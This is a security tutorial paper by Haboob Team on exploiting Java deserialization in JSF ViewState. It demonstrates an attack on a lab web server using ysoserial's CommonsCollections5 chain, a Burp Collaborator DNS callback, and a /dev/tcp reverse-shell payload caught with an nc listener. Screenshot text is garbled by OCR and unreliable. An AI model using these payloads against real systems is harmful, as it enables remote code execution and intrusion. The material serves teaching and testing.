HQ3C/O3

\_ments, ength; i <</pre>

ectedScop i.l. gth; i < i

ctedEler ints [1];

Java Deserialization in ViewState

By Haboob Team

.udes = ngSwit \_change);



### Table of Contents

1.	Introduction	2
2.	What is Serialization?	2
3.	What is Deserialization?	2
4.	Vulnerability analysis	3
5.	ViewState encodings	3
6.	Attack requirements	4
7.	Attack demonstration	4
8.	References	9



#### 1. Introduction

In this paper we are going to talk about a technique used to exploit Java web applications. This technique relies on some vulnerable Java libraries (such as apache "CommonCollections"), which deserializes any received object without performing any checks.

#### 2. What is Serialization?

Serialization is the process of translating data structures or object state into a format that can be stored (for example, in a file or memory buffer) or transmitted (such as, across a network connection link) and reconstructed later (possibly in a different computer environment). It converts an in-memory data structure to a value that can be stored or transferred. This process of serializing an object is also called marshalling an object, and it is typically used when data must be moved between different parts of a computer program or from one program to another.

#### 3. What is Deserialization?

Deserialization takes a series of bytes and converts it to an in-memory data structure that can be consumed programmatically. A serialized object which was used for communication cannot be processed by a computer program; therefore, deserialization transforms the object that was used for storage or transmission to a representation of the object that is executable.



Figure 1: Serialization vs Deserialization



#### 4. Vulnerability Analysis

Before digging any deeper, we need to understand what "ViewState" is. Without state management in JSF, typically all information associated with the page and the controls on the page would be lost with each round trip. The purpose of "ViewState" is to memorize the state of the user, even after numerous HTTP queries (stateless protocol). The objective is to store and restore results of users actions that impacted the user interface of a web page (choice within drop-down list, check-box selection, etc.). The "ViewState" of a page is, by default, stored in a hidden form field in the web page named "javax.faces.ViewState". It works by either saving the state in memory of the server and binds it to the session, or serialize/deserialize the state in the request/response each time. There are some Java libraries that accepts any serialized object without performing any checks. This allows leveraging these libraries to execute an arbitrary code.



Figure 2: "ViewState" field in the page source of a web application

#### 5. ViewState Encodings

By default, "ViewState" data is stored in the page in a hidden field and is encoded using base64 encoding. "ViewState" can also be encoded as "base64 and gzip" (Base64Gzip), which starts with "H4sIAAA". Below is a demonstration of a "ViewState" decoding process in Burp Suite.

H4siAA	AAAAAA	JVTQWť	TQRCevi	RqQzRp	qxFExU	MRBNkg	GAWDm	GAbGkw	1mAoWD7	rj2zYbN	++tu/O	STQ8F/4	HgSah49	∂eDNXy#	\eBEFBj	/4Hj97d	iU36AlrEhR1mZ2dmv/lm9t1PyEitYKF	Text Hex     Pecode as     Pecode as     Fincode as     Hash     Smart decode
0 1 2 3 4 5 6 7	1f 10 20 db a8 dd f6 ba	8b 9e 18 36 78 7d dd b7	08 be 05 1b f5 4d 4f 4e	00 24 83 37 e0 fa c8 65	00 6a 98 ef cd 02 48 e6	00 43 60 ad 5f 5a ad e8	00 34 1b 20 c4 60 8f	00 69 1a f3 1e 85 a1 0f	00 ab 4c 92 04 1d 4f 1f	00 11 35 4d 41 66 87 8b	95 44 98 0f 41 67 94 4f	53 c5 0a 05 8f 67 44 be	41 43 16 ff 66 c8 a5	6b 11 0f 81 07 bf 05 c0	53 04 ba e0 8f f9 59 ab	41 d9 c9 de 66 a3 43	f ////jkaksa f///sic4i:«#DAC#//iU f/fr filestife U6f7:->6M#///Yat ~x8ia_d//AAP////P YiMu /ZA#ggf_Uf 6Y0EH-10DE///YE 8:Ne#ehf/02/44xC	<ul> <li>○ Text ● Hex</li> <li>○ Decode as ▼</li> <li>Encode as ▼</li> <li>Hash ▼</li> <li>Smart decode</li> </ul>
4 5 7 8 9 a b	3f 00 6e 61 73 74 00 7e	40 05 61 6e 29 00 02 00	00 74 6d 67 6c 05 70 03	00 00 65 2e 02 6a 70 00	00 0f 75 4f 00 5f 74 00	00 6a 72 62 00 69 00 00	00 5f 00 6a 78 64 06 02	0c 69 13 65 70 31 6a 75	77 64 5b 63 00 75 5f 71	08 74 4c 74 00 71 69 00	00 37 6a 3b 00 00 64 7e	00 3a 61 90 04 7e 74 00	00 75 76 ce 70 00 34 03	10 73 61 58 70 03 75 00	00 65 2e 9f 70 00 71 00	00 72 6c 10 70 00 00 00	۲۰۰۰ []]         ۲۰۰۰ []]           ۱۳ [] tig idt7:user         nameur./[Ljava.]           nameur./[Ljava.]         ang.Object:1Xi;           ۲۰۰۰ ۲۰۰۰ []         ۲۰۰۰ []           ۲۰۰۰ ۲۰۰۰ []         ۲۰۰۰ []           ۲۰۰۰ ۲۰۰۰ []         ۲۰۰۰ []           ۲۰۰۰ ۲۰۰۰ []         ۲۰۰۰ []           ۲۰۰۰ ۲۰۰۰ []         ۲۰۰۰ []           ۲۰۰۰ ۲۰۰۰ []         ۲۰۰۰ []	Text • Hex     Decode as • Encode as • Hash • Smart decode

Figure 3: ViewState decoding

The "ViewState" string in the first box was first decoded as Base64 (second box), and then decoded as Gzip as shown in the last box. The decoding process showed the readable text "java.lang.object" and other Java related information.

#### 6. Attack Requirements

There are three requirements for this attack: Burp Suite, "Ysoserial", and a vulnerable JSF web application. Other extensions were used such as Burp collaborator and Java Deserialization Scanner, which are both available on the professional version of Burp Suite. The Java Deserialization Scanner extension can also be downloaded from GitHub.

### 7. Attack Demonstration

In this section, we are going to demonstrate the attack and how to identify a blind RCE to get a fully interactive shell. We used a tool called "Ysoserial", which is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects.

In our demonstration, we first installed an extension in Burp Suite called "Java Deserialization Scanner". Java Deserialization Scanner is a Burp Suite plugin, which generates customs payloads aimed at detecting and exploiting Java deserialization vulnerabilities.

Then, we intercepted the request and sent it to the extension's dashboard by clicking "Send to DS - Manual Testing".

A2B794EF48959DD; Path=/portal; HttpOnly		
<pre>1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" l"&gt;<head> head&gt;<body> post" action="/portal/faces/index.xhtml;jsessionid=E28781E18FD66FA0AA2B794EF4895 ="j_idt7" /&gt; e<input id="j_idt7:username" name="j_idt7:username" type="text"/> "j_idt7:password" type="password" name="j_idt7:password" value="" /&gt; t" name="j_idt7:j_idt5" value="Submit" /&gt;<input autocomplete="off" name="javax.faces&lt;br&gt;IBE5g2AQE2xDg6KGU8HSg27yts3GzXv77xK00FBbyB4EipePXj2E4qHQVDQ019BFHp39zXJC2qRF3aY&lt;br&gt;TZ7iPu4/UbkWYqoD0WKVjcgscPCBrskHutLmtj6fmXh6/n9CXhARhpI9PSLoSMi74SPYU9SFmr52xH4o&lt;br&gt;KKsoRYd1rtE8+3bu5Uf6KgUZNUhrvsvi01KDtJM26OLf0TWRILuzjDLVpH2mNj+9u/li//O6B14dsm1B&lt;br&gt;WRn8W8fIgj701BVtg2jQRWD4xLFSnFcCN8woJfby5v7pe75bzjb1CAfJEHPjPEdLAnAGbk/cGPrDG2Y8&lt;br&gt;gsrJC3+AGn8oacdgECp/giL+MuY3j+7yNMQDAAA=" type="hidden"/></body></head></pre>	Scan [Pro version only]         Send to Intruder         Send to Repeater         Send to Sequencer         Send to Comparer         Send to Decoder         Show response in browser         Request in browser         Send request to DS - Manual testing         Send request to DS - Exploitation         Engagement tools [Pro version only]         Copy URL         Copy as curl command         Copy to file         Paste from file         Save item         Don't intercept responses         Don't intercept requests         Convert selection	Ctrl+I Ctrl+R =" +G; FC; get vvi

Figure 4: Request sent to extension for testing

As we can see in figure 5, the "ViewState" starts with "H4sIAAAA", which represent the Base64Gzip encoding format. Then, we selected the ViewState value to test it for deserialization by choose "Base64Gzip" attack.



Figure 5: Scanning result



The scan results show that the ViewState parameter is vulnerable to deserialization via "CommonsCollection" library. Next step in our exploitation process is sending the request to the exploitation tap as shown in figure 6

Comparer	Extender	Project o	ptions	User options	Alerts	Wsdler	Deserialization S	canner			
Manual testing	Exploiting Cor	nfigurations									
Host: 10.10.20.93							Port: 8080	🗌 Https			
POST /portal/faces/index.xhtml HTTP/1.1 Host: 10.10.20.93:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.20.93:8080/portal/ Content-Type: application/x-www-form-urlencoded Content-Length: 898 Cookie: JSESSIONID=B234329A027237B79FCA2F89F1A0567F Connection: close Upgrade-Insecure-Requests: 1											
j_idt7=j_idt7&j_idt RR%2B3SRqQzT90 %2F3rzZN%2B%2 evBUrJkPaY7GExc HZvHC83ZCSYxO ouH023iYbUurGYy 6JpT1QcjshY5EYYq B%2BVuOWfPb1C §	t7%3Ausername oREPFYQiCDJBsA ?F7vpl5%2FxsyQ d114DTcJc8aHV IEGG6qGDPoUG %5tM7n99ePtW TQa9draqjbmkv AXDElfaaJ7mCP/	e=&i_idt7%3Ap .oGNcE2NDTV0 kmY79!%2BJTE ZG0swz96066 YzGgiEj4UxCdii (ffNj3w6jDb5IS 8zd9o42yWHkf A8yIOxvyg9bJTł	Dassword=8 QCpYPOgkC GnKxT1dm eucA9AC1C 2Me9OLhs1 p%2B8Zah E3Mc43zZjr bvx75tmg9	&j_idt7%3Aj_idt15=Su )202TnbHmbfjpleC%2F kInPy16fPhac%2FUuB )ZFmYgZG21tfg57EPK. I.ZiiiDVoxMbXUoViRrMj AVnbNFyLTYNrXC3Vle nI3EiNiDhWMJpYPD%2E MTBePzTEifmxbgxF84f	bmit&javax 4HgSah495 Vicsj6ldpGy1 ZD2b0%2B QeLiYeVqSk sMjW%2B2w BKjVsrx1AM Rq%2FFpSPl	.faces.ViewSt. 5Be%2FAvEgy NZg1nsSKY6E F2vJ4kJ1HGFiV cw3qgUL%2F4 cohcPhHEBwk eoKTvbZDY47 kWrzkSI0flDCr	ate=§H4sIAAAAAAAAA (Ao6NH%2FwaN3Z6ZJN (fe1uFsGO3KDUwbnzJdE VzfQkrtpEmO7TNFGIHP uff6C32TgpkapFWwx5x JTAaUB3u0xVJ[C9G3vuV VW%2BRyRQg%2B3Iqe )PoikP2Hhnoz%2BC2yZ	VTz2sTQ ocWcWA 3yHefBD7 RGFLETys Wb5C2al WxXmj6 sfDPu6vb IrjEAwAA			
							Send to Repeater Send to Exploitation	h tab			

Figure 6: Exploitation tap

Since this is a blind RCE, we need a way to determine that our exploitation is working. For this reason, we used Burp Collaborator to generate DNS traffic, shown below in figure 7.

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender	Project options User options Alerts Wsdler Deserialization Scanner	
Manual testing Exploiting Configurations		
Host: 10.10.20.93	Port: 8080 🔲 Https 🛛 Request Response	
POST /portal/faces/index.xhtml HTTP/1.1	Raw Params Headers Hex	
Host: 10.10.20.93:8080 User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0	Burp Collaborator client 🖨 🖲 🕲	HTTP/1.1
Accept: textmtm,application/stmtmtsmn,application/smt;q=0.9,*f*;q=0.8 Accept:-Ianguage: en-US-anguage: 0.5 Accept:-Encoding: gzip, deflate Referen: http://10.10.20.3383080/portal/	Click "Copy to clipboard" to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the payloads will appear below.	Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5
Content-Type: application/x-www-form-urlencoded Content-Length: 898 Content-SestionIII- B23423040272378766626951405676	Generate Collaborator payloads	80/portal/ w-form-urlencoded
Connection: close Upgrade-insecure-Requests: 1	Number to genera 1 Copy to clipboard 🗹 Include Collaborator server location	237879FCA2F89F1A0567F
Lidt7=Lidt76Lidt7KSAUsemanne=6_Lidt7%3Apassword=6_Lidt7%3A).dtl5=Submt6javaxfacesViewStat 2NDTVGCpVPG&C0207104mmBipleCX924495aha8584224XgsA0814W23Faat32223NioxewawA4527522Ni KricklebpsYte2ExtinterStreBsLate2020Ubetd394-MBUF078_UBV6276422621130105488722300x20600 2020000000000000000000000000000	Poll Collaborator Interactions Poll every 1 seconds Poll now  * 4 Time Type Payload Comment 1 2020-Feb-13 1135:30 UTC DNS bxcz3glisko6grvrqp9nazrgox/35ru 2 2020-Feb-13 1135:30 UTC DNS bxcz3glisko6grvrqp9nazrgox/35ru	=6j_idt734gassword=6j_idt7434j_idt15=submit 6j svar. VmfcvRqJ2smcm0x285HNm11x2FERtMx0012qpCP000fhq0W cqh2c00xdq=CrxFLb ot 8guuFFB0r4281M_0203LQpCP000fhq0W sq2046J y102ssist 12 pB0L; idt0 cr06J_pM1010Ax42FC13F1u sq2046J 1L_25H04fmr4at[TBs0r4e4]x2871H_JA42F2rg3F3B1 202047F_B4F20545H55VX301Vx9CB480A2LA44H11Vg204F 202047F_B4F20545H55VX301Vx9CB480A2LA44H11Vg204F 202047F_B4F205445(CH50HV72F204Vx81Bs0A2LA44H11Vg204F 202047F_B4F205445(CH50HV72F204Vx81Bs0A2LA44H11Vg204F 202047FB4F205445(CH50HV72F204Vx81Bs0A2LA44H11Vg204F 202047FB4F205445(CH50HV72F204Vx81Bs70A04H2050CH504F56) 202047B4B7205445(CH50HV72F204Vx81Bs70A04H2050CH50455) 202047B4B7205445(CH50HV72F204Vx81Bs70A04H2050CH50455) 202047B4B7205445(CH50HV72F204Vx81Bs70A04H2050CH50455) 202047B4B72054(CH50HV72F204Vx81Bs70A04H2050CH50455) 202047B4B72054(CH50HV72F204Vx804H50127026904H2045 202047B4872054(CH50HV72F204Vx804H50127026904H4045 202047B4872054(CH50HV7254Vx80494B1205)]d4h011Ms17q0 202047B472054(CH50HV726404487B48074B17204726474545152) 2048444445(CH5045454547454545454545454545454545454545
Set Insertion Point Clear Insertion Point Clear Insertion Point Clear Insertion Point Clear Insertion Point Java - jar ysoserial CommonsCollections5 "Inslookup bxcz3galsko6qmrqp9nazrgox/35ru.burpcollaborator.net"	The Collaborator server received a DNS lookup of type A for the domain name bxc23gslsko6qmrqp6nazgox135ru.burpcollaborator.net. The lookup was received from IP address 21 at 2020-Feb-13 11:35:30 UTC.	awau, wuzen i Nei (Huger, 2017), wzieny Ferszak, ych / Topanie Stat OT Fef (Hietekei, Halte All Weithowenschwige), cosławie w 1 o Martenzi Patrimik Nei Rose Raski Ygri Hz 2000 (Kowo B. 15 seau Sek / Batz Mathoe Raski Yer 2000 (Kowo B. 15 seau Sek / Batz Mathoe Raski Yer 2000 (Kowo B. 15 seau Sek / Batz Mathoe Raski Yer 2000 (Kowo B. 15 seau Sek / Batz Mathoe Raski Yer 2000 (Kowo B. 15 seau Sek / Batz Mathoe Raski Yer 2000

Figure 7: DNS lookup

Another way of identifying a blind RCE is by pinging our host and monitoring Wireshark for ICMP packets as demonstrated in figure 8.

				Bui	p proje	ct intru	der Kepea	ter window	/ Help					
				Di	ashboar	d Targ	et Proxy	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Proj
				M	anual te	sting	Exploiting	Configurat	tions					
				Host	: 10.10	20.93							Port: 808	10
						*eth0				_ 0	×			
File E	Edit Vie	w Go	Capture	e Analva	e Sta	tistics	Telephon	v Wirele	ss Tools	Help	efox/	73.0		
		a .		S 💦	0	د ۲	0 4	·			ebp,	*/*;q=0.8		
		9 I	0110		~	~ ~								
📕 icmp										Expression	1 * I			
No.	Time		Sour	ce		۵	Destinatior	I	Proto	col Lengti				
1	10 32.3	5584602:	1 10.1	10.20.9	3	0	0.0.5		ICMP	10				
1	12 34.4	0374641	3 10.1	10.20.9	3	6	0.0.0.5		ICMP	10				
	24 35 4	2716564	2 10.1	10.20.9	3	6	0.0.5		TCMP	10				
ne 111: ernet I ernet P 100 011	e 111: 106 bytes on wire (848 bits), 106 bytes captured (848 bits) on interface 0 prnet II, Src: VMware_5b:8e:72 (00:0c:29:5b:8e:72), Dst: VMware_b9:63:0d (00:0c:29: prnet Protocol Version 4, Src: 10.10.20.93, Dst: 0.0.0.5, Via: 10.10.20.91 100 = Version: 4 0111 = Header Length: 28 bytes (7) 007kmthz]HokNYbFouWZApDI												B%2 SCrF SMH NN2r ymYc pDllt	
0000	00 0c 2	29 b9 63	3 0d 00	0c 29	5b 8	e 72 0	8 00 47	00 · · )	.c)[·	r··G·	8fx1	rKN63lU73x	y4c48p4UZI (HNIZxM%2)	BrPRo
	14 5b	91 83 07	7 04 00	00 00	05 0	a oa 1 3 00 f	4 <del>30</del> 0a 4 3a 11	99 ·[·			8Tgz1	L7CConL%2F	wBavyhpB2	DQaji
0030	00 0b 9	9 64 42	a 5e 00	00 00	00 4	9 8b 0	6 00 00	00	dJ^					
0040			10 44	15 44	47.4	0 10 4	a 16 1-	1						
0040 0050	00 00 1 1e 1f :	10 11 12 20 21 22	2 13 14 2 23 24	15 16 25 26	17 1 27 2	3 19 1 3 29 2	a 1b 1c a 2b 2c	1d · · · 2d · ·	 !"#\$% &'(	····· )*+,-				
0040 0050	00 00 1e 1f :	10 11 12 20 21 22 Pr ) 28 h	2 13 14 2 23 24	15 16 25 26	17 1 27 2	8 19 1 8 29 2 aved 13	a 1b 1c a 2b 2c	1d · · · 2d · ·	!"#\$% &'( (0.0%)	)*+, - Profile: Defai	llt Point	t		
0040 0050	00 00 1e 1f	Pr), 28 b	2 13 14 2 23 24 byte: Pa	15 16 25 26 ackets: 12	17 1 27 2 5 - Displ	8 19 1 8 29 2 ayed: 13	a 1b 1c a 2b 2c 3(10.4%)·	1d 2d Dropped: 0	!"#\$% &'( (0.0%)	) *+, - Profile: Defau java -jar y	Ilt Point	t		
0040 0050	00 00 1e 1f	0 11 12 20 21 22 Pr), 28 b	2 13 14 2 23 24 byte: Pa	15 16 25 26 ackets: 12	17 13 27 23 5 · Displ	8 19 1 8 29 2 ayed: 13	a 1b 1c a 2b 2c 3(10.4%)·	1d 2d Dropped: 0	!"#\$% &'( (0.0%)	) * + , - Profile: Defau java -jar y	ılt Point ysoserial	t		

Figure 8: ICMP requests

Finally, we prepared a listener on our machine to get a fully interactive reverse shell on the vulnerable web application, shown in figure 9.

						Burp Suite	Community	Edition v20	20.1 - Temp	oorary Pro
	Burn Drojoct	Intruc	lar Bapasta	r Window	Help					
F. root@kali	-	۹	: -	• ×	epeater	Sequencer	Decoder	Comparer	Extender	Project
<pre>2 root@kali icolinkali:~# nc -nlvp 9999 listening on [any] 9999 connect to [10.10.20.91] from (UNKNOWN) [10. test@ubuntu:/usr/share/tomcat9/bin\$ id id uid=1000(test) gid=1000(test) groups=1000(test)),46(plugdev),116(lpadmin),126(sambashare)) test@ubuntu:/usr/share/tomcat9/bin\$ whoami whoami test test@ubuntu:/usr/share/tomcat9/bin\$ uname -a Linux ubuntu 5.3.0-28-generic #30~18.04.1-Utb 0 x86_64 x86_64 x86_64 GNU/Linux test@ubuntu:/usr/share/tomcat9/bin\$</pre>	untu SMP Fri Referenting Social States Ungrade Inse Ungrade Inse Ungra	A later of	Pappone     P	Alignment     Alignment	Help epeater is rv:73.0) ( plication/ ncoded 21CA043l dt7%3Apa zT90xFEx 4NG7u69 DWewopj kXPSV6B ScjWietOX	Sequencer Gecko/20100: xml;q=0.9,in B0EB09A0 assword=test UMRBNkgWA uh8128VQa33 uh8128VQa33 uh8128VQa33 uh828VQa34 uh8128VX uh8128VX u	Decoder Decoder 101 Firefox, nage/webp, t&j_idt7%3/ AWDmGAbt OzM7G9%2 coNjVs7ZnL 'Eme8mhgr pS9liQlIFKT 'Eme8mhgr pS9liQlIFKT	Comparer 73.0 */*:q=0.8 %/%:q=0.8 %%2Fvuj2S BM%2Fvuj2S WsYFJaddBc gsc43m%2Bf wsYFJaddBc	Port: 80 Port: 80 Por	faces.Vie 28%2Btu9 uSCrFHdV xSMHi03r NN2mFPF ymYqUFa pollty%2
	w4B0LhwIOF 4VJFSDDfCpy Glxusu8G5q4 y5jfv%2Fxgg CommonsCo	IxSZTn. /249fby 4Cd6orq lcQDAA	Aq%2BQ1u0 /5165W8457 piM%2FOjg5 vA%3D§	ClYyUfUcTa gYFyBV54[ GmTTNq1i Set Inse sh -c /bin/b	CfnbTXn7f DNDTAd7Ar f0%2BaU45 ertion Point ash\${IFS}-i	NER8EIJJOCos nBG3n%2FI7I Pco8bnKQ7N Clear Ins java -jar y >&/dev/tcp/1	SaVRqNeW RtjO7b8fx1 Z16Sj8Tgz ertion Poin ysoserial 0.10.20.91,	10Z%2BVnM rKN63lU73xk 17CConL%2F	y4c48p4UZI HNIZxM%2 wBavyhpB2	Vt0Uhg9c BrPRoVhF DQaj8CYr

Figure 9: Interactive shell



#### 8. References

- [1] https://owasp.org/www-project-cheat-sheets/cheatsheets/Deserialization\_Cheat\_Sheet
- [2] https://github.com/frohoff/ysoserial
- [3] https://medium.com/better-programming/serialization-and-deserialization-ba12fc3fbe23
- [4] https://en.wikipedia.org/wiki/Unmarshalling
- [5] https://en.wikipedia.org/wiki/Serialization
- [6] https://medium.com/@mirzafarrukh13/state-management-785f375521a6
- [7] https://github.com/federicodotta/Java-Deserialization-Scanner
- [8] https://www.synacktiv.com/ressources/JSF\_ViewState\_InYourFace.pdf
- [9] https://www.geeksforgeeks.org/serialization-in-java/